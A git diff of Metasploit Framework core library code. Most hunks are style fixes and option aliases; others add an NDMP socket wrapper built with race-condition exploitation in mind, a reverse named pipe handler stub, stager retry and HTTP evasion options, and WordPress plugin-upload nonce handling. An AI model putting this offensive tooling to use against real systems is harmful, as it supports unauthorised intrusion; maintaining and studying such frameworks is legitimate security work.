b/lib/msf/core/auxiliary/web/fuzzable.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ require 'net/https' require 'net/http' diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 90fb92a2c9..0685414940 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -3,7 +3,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## require 'uri' diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb index 07ab99694e..f522224550 100644 --- a/lib/msf/core/auxiliary/web/path.rb +++ b/lib/msf/core/auxiliary/web/path.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ require 'net/https' require 'net/http' diff --git a/lib/msf/core/auxiliary/web/target.rb b/lib/msf/core/auxiliary/web/target.rb index fd4fc593ff..d8d41831e5 100644 --- a/lib/msf/core/auxiliary/web/target.rb +++ b/lib/msf/core/auxiliary/web/target.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ require 'net/https' require 'net/http' diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 0b7f5f54cc..ef36413434 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -14,10 +14,13 @@ class DataStore < Hash # def initialize() @options = Hash.new + @aliases = Hash.new @imported = Hash.new @imported_by = Hash.new end + attr_accessor :aliases + # # Clears the imported flag for the supplied key since it's being set # directly. @@ -133,11 +136,16 @@ class DataStore < Hash } end - def import_option(key, val, imported=true, imported_by=nil, option=nil) + def import_option(key, val, imported = true, imported_by = nil, option = nil) self.store(key, val) + if option + option.aliases.each do |a| + @aliases[a.downcase] = key.downcase + end + end @options[key] = option - @imported[key] = imported + @imported[key] = imported @imported_by[key] = imported_by end @@ -245,9 +253,15 @@ protected # def find_key_case(k) + # Scan each alias looking for a key + search_k = k.downcase + if @aliases.has_key?(search_k) + search_k = @aliases[search_k] + end + # Scan each key looking for a match self.each_key do |rk| - if (rk.downcase == k.downcase) + if rk.downcase == search_k return rk end end @@ -317,6 +331,7 @@ class ModuleDataStore < DataStore self.keys.each do |k| clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) end + clone.aliases = self.aliases clone end end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 45e67086fd..f9af660efb 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -135,7 +135,7 @@ module Msf::DBManager::Host # +:arch+:: -- one of the ARCH_* constants # +:mac+:: -- the host's MAC address # +:scope+:: -- interface identifier for link-local IPv6 - # +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc. + # +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc. # def report_host(opts) diff --git a/lib/msf/core/db_manager/import/nessus/xml/v2.rb b/lib/msf/core/db_manager/import/nessus/xml/v2.rb index 00822d03b7..c17934074f 100644 --- a/lib/msf/core/db_manager/import/nessus/xml/v2.rb +++ b/lib/msf/core/db_manager/import/nessus/xml/v2.rb @@ -74,7 +74,7 @@ module Msf::DBManager::Import::Nessus::XML::V2 nasl = item['nasl'].to_s nasl_name = item['nasl_name'].to_s port = item['port'].to_s - proto = item['proto'] || "tcp" + proto = item['proto'] ? item['proto'].downcase : "tcp" sname = item['svc_name'] severity = item['severity'] description = item['description'] diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb index cf2b2a99c6..b489ec8437 100644 --- a/lib/msf/core/db_manager/module_cache.rb +++ b/lib/msf/core/db_manager/module_cache.rb @@ -198,7 +198,7 @@ module Msf::DBManager::ModuleCache ActiveRecord::Base.connection_pool.with_connection do @query = Mdm::Module::Detail.all - + @archs = Set.new @authors = Set.new @names = Set.new @@ -207,10 +207,10 @@ module Msf::DBManager::ModuleCache @stances = Set.new @text = Set.new @types = Set.new - + value_set_by_keyword.each do |keyword, value_set| formatted_values = match_values(value_set) - + case keyword when 'app' formatted_values = value_set.collect { |value| @@ -244,7 +244,7 @@ module Msf::DBManager::ModuleCache end end end - + @query = @query.module_arch( @archs.to_a.flatten ) if @archs.any? @query = @query.module_author( @authors.to_a.flatten ) if @authors.any? @query = @query.module_name( @names.to_a.flatten ) if @names.any? @@ -253,7 +253,7 @@ module Msf::DBManager::ModuleCache @query = @query.module_type( @types.to_a.flatten ) if @types.any? @query = @query.module_stance( @stances.to_a.flatten ) if @stances.any? @query = @query.module_ref( @refs.to_a.flatten ) if @refs.any? - + @query.uniq end @@ -371,4 +371,4 @@ module Msf::DBManager::ModuleCache module_detail.save! end end -end \ No newline at end of file +end diff --git a/lib/msf/core/exploit/browser_autopwn.rb b/lib/msf/core/exploit/browser_autopwn.rb index d426ba0cd8..888dab4f7e 100644 --- a/lib/msf/core/exploit/browser_autopwn.rb +++ b/lib/msf/core/exploit/browser_autopwn.rb @@ -3,7 +3,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ require 'msf/core/auxiliary' diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb index 7270a03639..b5a0bdc4a4 100644 --- a/lib/msf/core/exploit/browser_autopwn2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -810,6 +810,7 @@ module Msf %Q| + diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 187059b64c..d7bcc0c46e 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -508,6 +508,68 @@ module Exploit::Remote::HttpClient end end + # + # Returns a hash of request opts from a URL string + def request_opts_from_url(url) + # verify and extract components from the URL + begin + tgt = URI.parse(url) + raise 'Invalid URL' unless tgt.scheme =~ %r{https?} + raise 'Invalid URL' if tgt.host.to_s.eql? '' + rescue => e + print_error "Could not parse URL: #{e}" + return nil + end + + opts = { 'rhost' => tgt.host, 'rport' => tgt.port, 'uri' => tgt.request_uri } + opts['SSL'] = true if tgt.scheme == 'https' + if tgt.query and tgt.query.size > 13 + # Assming that this is going to be mostly used for GET requests as string -> req + opts['vars_get'] = {} + tgt.query.split('&').each do |pair| + k,v = pair.split('=',2) + opts['vars_get'][k] = v + end + end + return opts + end + + # + # Returns response from a simple URL call + def request_url(url, keepalive = false) + opts = request_opts_from_url(url) + return nil if opts.nil? + res = send_request_raw(opts) + disconnect unless keepalive + return res + end + + # + # Downloads a URL + def download(url) + print_status "Downloading '#{url}'" + + begin + target = URI.parse url + raise 'Invalid URL' unless target.scheme =~ /https?/ + raise 'Invalid URL' if target.host.to_s.eql? '' + rescue => e + print_error "Could not parse URL: #{e}" + return nil + end + + res = request_url(url) + + unless res + print_error 'Connection failed' + return nil + end + + print_status "- HTTP #{res.code} - #{res.body.length} bytes" + + res.code == 200 ? res.body : nil + end + # removes HTML tags from a provided string. # The string is html-unescaped before the tags are removed # Leading whitespaces and double linebreaks are removed too diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 14d77f7601..e7bb5e47b9 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -32,6 +32,7 @@ module Exploit::Remote::HttpServer register_evasion_options( [ + OptBool.new('HTTP::no_cache', [false, 'Disallow the browser to cache HTTP content', false]), OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]), OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]), @@ -42,7 +43,8 @@ module Exploit::Remote::HttpServer register_advanced_options([ OptAddress.new('URIHOST', [false, 'Host to use in URI (useful for tunnels)']), - OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)']) + OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)']), + OptBool.new('SendRobots', [false, 'Return a robots.txt file if asked for one', false]) ]) # Used to keep track of resources added to the service manager by @@ -179,7 +181,26 @@ module Exploit::Remote::HttpServer print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end + if datastore['SendRobots'] + add_robots_resource + end + add_resource(uopts) + + end + + def add_robots_resource + proc = Proc.new do |cli, req| + self.cli = cli + send_robots(cli, req) + end + + vprint_status('Adding hardcoded URI /robots.txt') + begin + add_resource('Path' => '/robots.txt', 'Proc' => proc) + rescue RuntimeError => e + print_warning(e.message) + end end # Set {#on_request_uri} to handle the given +uri+ in addition to the one @@ -558,6 +579,10 @@ module Exploit::Remote::HttpServer response.headers.junk_headers = 1 end + if datastore['HTTP::no_cache'] + response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate' + end + headers.each_pair { |k,v| response[k] = v } cli.send_response(response) @@ -605,6 +630,22 @@ module Exploit::Remote::HttpServer cli.send_response(resp_404) end + # + # Sends a canned robots.txt file + # + def send_robots(cli, request) + print_status('Sending robots.txt') + robots = create_response(200, 'Success') + robots['Content-Type'] = 'text/plain' + + robots.body = %Q{\ +User-agent: * +Disallow: / +} + + cli.send_response(robots) + end + # # Returns the configured (or random, if not configured) URI path diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb index 206b0364c7..f938620420 100644 --- a/lib/msf/core/exploit/http/wordpress/helpers.rb +++ b/lib/msf/core/exploit/http/wordpress/helpers.rb @@ -10,12 +10,12 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # @param pass [String] Password # @param redirect URL [String] to redirect after successful login # @return [Hash] The post data for vars_post Parameter - def wordpress_helper_login_post_data(user, pass, redirect=nil) + def wordpress_helper_login_post_data(user, pass, redirect = nil) post_data = { - 'log' => user.to_s, - 'pwd' => pass.to_s, - 'redirect_to' => redirect.to_s, - 'wp-submit' => 'Login' + 'log' => user.to_s, + 'pwd' => pass.to_s, + 'redirect_to' => redirect.to_s, + 'wp-submit' => 'Login' } post_data end @@ -31,23 +31,23 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # @return [String,nil] The location of the new comment/post, nil on error def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url) vars_post = { - 'comment' => comment, - 'submit' => 'Post+Comment', - 'comment_post_ID' => comment_post_id.to_s, - 'comment_parent' => '0' + 'comment' => comment, + 'submit' => 'Post+Comment', + 'comment_post_ID' => comment_post_id.to_s, + 'comment_parent' => '0' } vars_post.merge!({ - 'author' => author, - 'email' => email, - 'url' => url, + 'author' => author, + 'email' => email, + 'url' => url }) unless login_cookie options = { - 'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'), + 'method' => 'POST' } - options.merge!({'vars_post' => vars_post}) - options.merge!({'cookie' => login_cookie}) if login_cookie + options.merge!({ 'vars_post' => vars_post }) + options.merge!({ 'cookie' => login_cookie }) if login_cookie res = send_request_cgi(options) if res && res.redirect? && res.redirection return wordpress_helper_parse_location_header(res) @@ -65,7 +65,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found # @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user # @return [Integer,nil] The post id, nil when nothing found - def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil) + def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled = false, login_cookie = nil) range.each { |id| vprint_status("Checking POST ID #{id}...") if (id % 100) == 0 body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie) @@ -81,15 +81,15 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # @param comments_enabled [Boolean] Check if comments are enabled on this post # @param login_cookie [String] A valid login cookie to perform the check as an authenticated user # @return [String,nil] the HTTP response body of the post, nil otherwise - def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil) + def wordpress_helper_check_post_id(uri, comments_enabled = false, login_cookie = nil) options = { - 'method' => 'GET', - 'uri' => uri + 'method' => 'GET', + 'uri' => uri } - options.merge!({'cookie' => login_cookie}) if login_cookie + options.merge!({ 'cookie' => login_cookie }) if login_cookie res = send_request_cgi(options) # post exists - if res and res.code == 200 + if res && res.code == 200 # also check if comments are enabled if comments_enabled if res.body =~ /form.*action.*wp-comments-post\.php/ @@ -123,8 +123,8 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # # @param cookie [String] A valid admin session cookie # @return [String,nil] The nonce, nil on error - def wordpress_helper_get_plugin_upload_nonce(cookie) - uri = normalize_uri(wordpress_url_backend, 'plugin-install.php') + def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil) + uri = path || normalize_uri(wordpress_url_backend, 'plugin-install.php') options = { 'method' => 'GET', 'uri' => uri, @@ -134,6 +134,9 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers res = send_request_cgi(options) if res && res.code == 200 return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] + elsif res && res.redirect? && res.redirection + path = wordpress_helper_parse_location_header(res) + return wordpress_helper_get_plugin_upload_nonce(cookie, path) end end end diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb index 52647dda7d..c41d7edd7d 100644 --- a/lib/msf/core/exploit/mysql.rb +++ b/lib/msf/core/exploit/mysql.rb @@ -4,7 +4,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## ### diff --git a/lib/msf/core/exploit/ndmp_socket.rb b/lib/msf/core/exploit/ndmp_socket.rb new file mode 100644 index 0000000000..82c95dc43a --- /dev/null +++ b/lib/msf/core/exploit/ndmp_socket.rb @@ -0,0 +1,199 @@ +require 'msf/core' +require 'xdr' + +module Msf + +### +# +# This module exposes methods for accessing NDMP services using a class-based wrapper +# around normal sockets, allowing the use of more than one NDMP connection at once. +# +### +module Exploit::Remote::NDMPSocket + +module NDMP + +# +# This class represents a NDMP message, including its header and body. +# +class Message + class Header < XDR::Struct + attribute :sequence_num, XDR::Int + attribute :timestamp, XDR::Int + attribute :is_response, XDR::Bool + attribute :type, XDR::Int + attribute :reply_sequence_num, XDR::Int + attribute :error, XDR::Int + end + + CONFIG_GET_HOST_INFO = 0x100 + CONFIG_GET_BUTYPE_ATTR = 0x101 + CONFIG_GET_SERVER_INFO = 0x108 + NOTIFY_CONNECTED = 0x502 + CONNECT_OPEN = 0x900 + CONNECT_CLIENT_AUTH = 0x901 + + def self.new_request(type, body='') + header = Header.new( + :sequence_num => nil, + :timestamp => nil, + :is_response => false, + :type => type, + :reply_sequence_num => 0, + :error => 0 + ) + new(header, body) + end + + attr_accessor :header, :body + + def initialize(header, body) + @header = header + @body = body + end +end + +# +# This class wraps a normal socket with NDMP functionality, such as NDMP message reading +# and writing. +# +class Socket + def initialize(sock) + @sock = sock + @next_sequence_num = 1 + end + + def raw_recv(*args) + @sock.recv(*args) + end + + def raw_recvall(n, *args) + r = '' + while r.length < n + s = raw_recv(n - r.length, *args) + return nil if s.to_s.empty? + r << s + end + r + end + + def raw_send(*args) + @sock.send(*args) + end + + def raw_sendall(s, *args) + n = 0 + while n < s.length + i = raw_send(s[n..s.length], *args) + return false if i <= 0 + n += i + end + + true + end + + def close + @sock.close + end + + # + # Read a single NDMP message. If require_ok_type is given, the message must be of the + # given type and have no error indicated. + # + def read_ndmp_msg(require_ok_type=nil) + frags = read_ndmp_frags + return nil if frags.nil? + header = Message::Header.from_xdr(frags.slice!(0...(4 * 6))) + + return nil if require_ok_type && (require_ok_type != header.type || header.error != 0) + + Message.new(header, frags) + end + + # + # Prepare a NDMP message for sending and send it. Can send messages multiple times. + # + # If all_but_all_char is true, then the last character will be held back and will be + # returned so that it can be sent at a later point elsewhere. This is sometimes + # necessary for exploiting e.g. race conditions. + # + def prepare_and_write_ndmp_msg(msg, all_but_last_char=false, times=1, flags=0) + msg.header.sequence_num = @next_sequence_num + @next_sequence_num += 1 + msg.header.timestamp = Time.now.to_i + + frag = msg.header.to_xdr + msg.body + write_ndmp_frag(frag, all_but_last_char, times, flags) + end + + # + # Send and recieve a pair of NDMP messages. + # + def do_request_response(msg, *args) + return nil unless prepare_and_write_ndmp_msg(msg, *args) + read_ndmp_msg(msg.header.type) + end + + # + # Establish a SSL session on the socket. Raw socket reading/writing functions are + # replaced with their SSL equivalents. + # + def wrap_with_ssl(ssl_context) + @sock = OpenSSL::SSL::SSLSocket.new(@sock, ssl_context) + @sock.connect + + def self.raw_recv(n, *_args) + @sock.sysread(n) + end + + def self.raw_send(b, *_args) + @sock.syswrite(b) + end + end + + private + + # + # Read and reassemble a group of NDMP fragments. Usually NDMP messages are sent in a + # single NDMP fragment, but this is not guaranteed by the standard. + # + def read_ndmp_frags + result = '' + + loop do + buf = raw_recvall(4) + return nil if buf.nil? + n = buf.unpack('N')[0] + len = n & 0x7fffffff + last = (n & 0x80000000) != 0 + + buf = raw_recvall(len) + return nil if buf.nil? + result << buf + + break if last + end + + result + end + + # + # Write a NDMP fragment (i.e. containing a NDMP packet). + # + # Can hold back on sending the last character; see prepare_and_write_ndmp_msg. + # + def write_ndmp_frag(buf, all_but_last_char, times, flags) + buf = ([buf.length | 0x80000000].pack('N') + buf) * times + + return false unless raw_sendall(all_but_last_char ? buf[0...-1] : buf, flags) + + all_but_last_char ? buf[-1] : true + end + +end + +end + +end + +end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb old mode 100644 new mode 100755 index 32460885dd..36c03bca7c --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -184,7 +184,7 @@ module Exploit::Remote::SMTPDeliver raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock) res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock) - if res[0..2] == '250' + if res && res[0..2] == '250' resp = raw_send_recv("DATA\r\n", nsock) # If the user supplied a Date field, use that, else use the current @@ -242,10 +242,12 @@ module Exploit::Remote::SMTPDeliver # to dump it all. vprint_status("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}") end - - nsock.put(cmd) - res = nsock.get_once - + begin + nsock.put(cmd) + res = nsock.get_once + rescue + return nil + end # Don't truncate the server output because it might be helpful for # debugging. vprint_status("S: #{res.strip}") if res diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index 265bea4ac5..92e9af2293 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -16,8 +16,6 @@ module Msf module Exploit::Remote::SunRPC include Exploit::Remote::Tcp - XDR = Rex::Encoder::XDR - MSG_ACCEPTED = 0 SUCCESS = 0 # RPC executed successfully PROG_UMAVAIL = 1 # Remote hasn't exported program @@ -72,7 +70,7 @@ module Exploit::Remote::SunRPC ret = rpcobj.create raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret - arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer) + arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer) if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0 err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: " err << 'Message not accepted' if arr[1] != MSG_ACCEPTED diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index b8e797c8ec..9fbefb234e 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -229,6 +229,40 @@ class Framework } end + def search(match, logger: nil) + # Check if the database is usable + use_db = true + if self.db + if !(self.db.migrated && self.db.modules_cached) + logger.print_warning("Module database cache not built yet, using slow search") if logger + use_db = false + end + else + logger.print_warning("Database not connected, using slow search") if logger + use_db = false + end + + # Used the database for search + if use_db + return self.db.search_modules(match) + end + + # Do an in-place search + matches = [] + [ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset| + mset.each do |m| + begin + o = mset.create(m[0]) + if o && !o.search_filter(match) + matches << o + end + rescue + end + end + end + matches + end + protected # @!attribute options diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index bbd899a0e0..9f39bfc922 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -244,11 +244,10 @@ protected framework.sessions.register(session) # Call the handler's on_session() method - on_session(session) - - # Process the auto-run scripts for this session - if session.respond_to?('process_autoruns') - session.process_autoruns(datastore) + if session.respond_to?(:bootstrap) + session.bootstrap(datastore, self) + else + on_session(session) end # If there is an exploit associated with this payload, then let's notify diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb new file mode 100644 index 0000000000..51573e9c8b --- /dev/null +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- +require 'thread' +require 'msf/core/post_mixin' + +module Msf +module Handler +### +# +# TODO: docs +# +### +module ReverseNamedPipe + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_named_pipe'. + # + def self.handler_type + "reverse_named_pipe" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse handler and ads the options that are required + # for reverse named pipe payloads. + # + def initialize(info={}) + super + + register_options([ + OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']), + OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.']) + ], Msf::Handler::ReverseNamedPipe) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + # we're just pretending to be a handler + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse named pipe" + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + # we're just pretending to be a handler + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # we're just pretending to be a handler + end + +end +end +end + diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index cffc92b7b3..d938d46934 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -45,10 +45,26 @@ module ReverseTcp # XXX: Not supported by all modules register_advanced_options( [ - OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) - ], Msf::Handler::ReverseTcp) + OptInt.new( + 'StagerRetryCount', + [ true, 'The number of connection attempts to try before exiting the process', 10 ], + aliases: ['ReverseConnectRetries'] + ), + OptFloat.new( + 'StagerRetryWait', + [ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ] + ), + OptAddress.new( + 'ReverseListenerBindAddress', + [ false, 'The specific IP address to bind to on the local system' ] + ), + OptBool.new( + 'ReverseListenerThreaded', + [ true, 'Handle every connection in a new thread (experimental)', false ] + ) + ], + Msf::Handler::ReverseTcp + ) self.conn_threads = [] end @@ -88,13 +104,12 @@ module ReverseTcp # # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ - def listener_uri(addr=datastore['ReverseListenerBindAddress']) + def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end - # # Starts monitoring for an inbound connection. # @@ -118,8 +133,8 @@ module ReverseTcp rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", - "#{$ERROR_INFO}", - "#{$ERROR_POSITION.join("\n")}" + $ERROR_INFO.to_s, + $ERROR_POSITION.join("\n") ].join("\n") end end @@ -216,13 +231,11 @@ module ReverseTcp # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true - if listener_sock - begin - listener_sock.close - rescue IOError - # Ignore if it's listening on a dead session - dlog("IOError closing listener sock; listening on dead session?", LEV_1) - end + begin + listener_sock.close if listener_sock + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index 8fe2e8b217..90f82c3bd5 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -352,6 +352,14 @@ class Msf::Module::Platform Alias = "java" end + # + # R + # + class R < Msf::Module::Platform + Rank = 100 + Alias = "r" + end + # # Ruby # diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 8136848e35..906b111fa8 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -95,26 +95,28 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.ctx_id = in_ctx_id self.ctx_val = in_ctx_val - if (in_ctx_id == 'CVE') + if in_ctx_id == 'CVE' self.site = "https://cvedetails.com/cve/CVE-#{in_ctx_val}/" - elsif (in_ctx_id == 'CWE') + elsif in_ctx_id == 'CWE' self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html" - elsif (in_ctx_id == 'BID') + elsif in_ctx_id == 'BID' self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}" - elsif (in_ctx_id == 'MSB') + elsif in_ctx_id == 'MSB' self.site = "https://technet.microsoft.com/en-us/library/security/#{in_ctx_val}" - elsif (in_ctx_id == 'EDB') + elsif in_ctx_id == 'EDB' self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}" - elsif (in_ctx_id == 'US-CERT-VU') + elsif in_ctx_id == 'US-CERT-VU' self.site = "https://www.kb.cert.org/vuls/id/#{in_ctx_val}" - elsif (in_ctx_id == 'ZDI') + elsif in_ctx_id == 'ZDI' self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" - elsif (in_ctx_id == 'WPVDB') + elsif in_ctx_id == 'WPVDB' self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" - elsif (in_ctx_id == 'PACKETSTORM') + elsif in_ctx_id == 'PACKETSTORM' self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" - elsif (in_ctx_id == 'URL') + elsif in_ctx_id == 'URL' self.site = in_ctx_val.to_s + elsif in_ctx_id == 'AKA' + self.site = "Also known as: #{in_ctx_val}" else self.site = in_ctx_id self.site += " (#{in_ctx_val})" if (in_ctx_val) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 720ccce593..fea6343a51 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -173,7 +173,8 @@ class Msf::Modules::Loader::Base true } - loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload, &try_eval_module) + loaded = namespace_module_transaction(type + "/" + module_reference_name, + :reload => reload, &try_eval_module) unless loaded return false end diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 2dbf15cb84..e78d371f7d 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -28,12 +28,11 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base def each_module_reference_name(path, opts={}) whitelist = opts[:whitelist] || [] ::Dir.foreach(path) do |entry| + full_entry_path = ::File.join(path, entry) type = entry.singularize - unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type) - next - end + next unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type) full_entry_pathname = Pathname.new(full_entry_path) @@ -43,6 +42,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base entry_descendant_pathname = Pathname.new(entry_descendant_path) relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname) relative_entry_descendant_path = relative_entry_descendant_pathname.to_s + next if File::basename(relative_entry_descendant_path) == "example.rb" # The module_reference_name doesn't have a file extension module_reference_name = module_reference_name_from_path(relative_entry_descendant_path) diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 0f48002aea..348a0eca33 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -22,7 +22,7 @@ module Msf # attrs[3] = possible enum values # attrs[4] = Regex to validate the option # - def initialize(in_name, attrs = []) + def initialize(in_name, attrs = [], aliases: []) self.name = in_name self.advanced = false self.evasion = false @@ -45,6 +45,7 @@ module Msf raise("Invalid Regex #{regex_temp}: #{e}") end end + self.aliases = aliases end # @@ -159,6 +160,10 @@ 